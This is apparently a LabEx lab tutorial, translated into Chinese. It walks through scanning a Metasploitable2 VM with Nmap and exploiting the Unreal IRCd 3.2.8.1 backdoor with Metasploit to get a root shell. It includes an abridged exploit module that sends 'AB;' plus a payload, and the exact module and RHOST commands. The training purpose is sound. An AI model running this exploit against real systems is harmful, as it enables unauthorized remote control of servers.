使用 Nmap 和 Metasploit 利用 Unreal IRCd 漏洞

CybersecurityCybersecurityBeginner
立即练习

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

简介

在本实验中,我们将学习如何利用 LabEx 平台上托管的 Metasploitable2 目标机器上的 Unreal IRCd 服务。我们将首先了解 Unreal IRCd 服务中的漏洞,然后使用 Nmap 进行漏洞扫描。在识别出易受攻击的服务后,我们将利用 Metasploit 框架来利用该漏洞,并在目标机器上获取远程 shell。最后,我们将在被攻陷的系统上执行命令,以验证我们是否成功利用了该漏洞。

理解 Unreal IRCd 漏洞并启动实验环境

Unreal IRCd 3.2.8.1 版本包含一个后门漏洞(CVE-2010-2075),该漏洞允许远程攻击者在受影响的系统上执行任意代码。该漏洞存在于 DEBUG3_DOLOG_SYSTEM 宏中,其中包含攻击者可利用的外部恶意代码。

相关信息:

用于利用此漏洞的 Metasploit 模块:

以下是 Metasploit 模块的简要概述:

## Require necessary modules
require 'msf/core'

## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
  ## Module initialization with details like name, description, author, references, etc.
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
      'Description'    => %q{
          This module exploits a malicious backdoor that was added to the
        Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
        Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
      },
      ## ... (omitted for brevity)
    ))

    ## Set default options
    register_options(
      [
        Opt::RPORT(6667)
      ], self.class)
  end

  ## Exploit method
  def exploit
    ## Connect to the remote service
    connect

    ## Print banner information
    print_status("Connected to #{rhost}:#{rport}...")
    banner = sock.get_once(-1, 30)
    banner.to_s.split("\n").each do |line|
      print_line("    #{line}")
    end

    ## Send the backdoor command
    print_status("Sending backdoor command...")
    sock.put("AB;" + payload.encoded + "\n")

    ## Wait for session creation or timeout
    1.upto(120) do
      break if session_created?
      select(nil, nil, nil, 0.25)
      handler()
    end
    disconnect
  end
end

现在你将启动攻击机(Kali Linux 容器)和目标机(Metasploitable2 虚拟机)以进行实验。

  1. 在 LabEx 主机上打开一个 xfce 终端,并通过运行以下命令启动 Metasploitable2 目标机:
sudo virsh start Metasploitable2

等待目标机器启动,可能需要 1-3 分钟。

  1. 通过 ping 测试与目标机的连接:
ping 192.168.122.102

Ctrl+C 停止 ping。

  1. 启动 Kali Linux 容器并通过以下命令进入 bash 环境:
docker run -ti --network host b5b709a49cd5 bash
  1. 在 Kali 容器内,测试与目标机的网络连接:
ping 192.168.122.102

Ctrl+C 停止 ping。

现在攻击机和目标机都已启动,你可以开始渗透测试。

注意:如果你意外退出了当前的 bash,Kali 容器将自动停止。你可以在主机上再次执行 docker run -ti --network host b5b709a49cd5 bash 以启动一个新的 Kali 容器并进入 bash 以继续实验。

执行漏洞扫描

在这一步骤中,我们将对目标机器执行漏洞扫描,以识别开放的端口以及在这些端口上运行的服务。我们将使用强大的 Nmap(Network Mapper)工具来完成此任务。

  1. 在 Kali Linux 容器中启动 Metasploit 控制台:
cd ~
msfconsole
  1. 在 Metasploit 控制台中,使用 nmap 命令扫描目标机器:
nmap -sV -T4 192.168.122.102

-sV 选项用于启用开放端口的版本检测,-T4 将扫描速度设置为激进级别(1-5,数值越高速度越快)。

输出应显示一个开放的端口 6667,运行着 unreal ircd 服务。

按 Ctrl+D 退出 Metasploit 控制台,然后开始检查

利用 Unreal IRCd 漏洞

现在我们已经识别出运行在端口 6667 上的易受攻击的 Unreal IRCd 服务,接下来我们可以使用 Metasploit 框架对其进行利用。

  1. 首先,如果你不在 Metasploit 控制台中,请启动 Metasploit 控制台:
cd ~
msfconsole
  1. 在 Metasploit 控制台中,搜索 unreal_ircd_3281_backdoor 模块:
search unreal_ircd_3281_backdoor
  1. 加载该模块:
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. 设置目标主机:
set RHOST 192.168.122.102
  1. 运行漏洞利用:
exploit

如果漏洞利用成功,你应该会在目标机器上获得一个远程 shell。

按 Ctrl+D 退出 Metasploit 控制台,然后开始检查

验证漏洞利用

为了验证漏洞利用是否成功,我们可以在上一步中获得的远程 shell 上执行命令。

  1. 首先,如果你不在 Metasploit 控制台中,请启动 Metasploit 控制台:
cd ~
msfconsole
  1. 使用 whoami 命令检查当前用户:
whoami
  1. 使用 hostname 命令检查主机名:
hostname
  1. 使用 ifconfig 命令检查 IP 地址:
ifconfig

如果输出显示当前用户为 root,主机名为 metasploitable,并且 IP 地址与目标机器(192.168.122.102)匹配,则确认漏洞利用成功,并且你已经完全控制了目标系统。

按 Ctrl+D 退出 Metasploit 控制台,然后开始检查

总结

在本实验中,我们学习了 Unreal IRCd 漏洞以及如何使用 Metasploit 框架对其进行利用。我们首先了解了该漏洞及其影响,然后通过漏洞扫描识别出易受攻击的服务。在发现运行在端口 6667 上的 Unreal IRCd 服务后,我们使用合适的 Metasploit 模块利用该漏洞并成功获取目标机器的远程访问权限。最后,通过在受攻击系统上执行命令,我们验证了漏洞利用的成功。本实验提供了漏洞分析、利用以及利用后验证的实践机会,这些是道德黑客和网络安全专业人员必备的关键技能。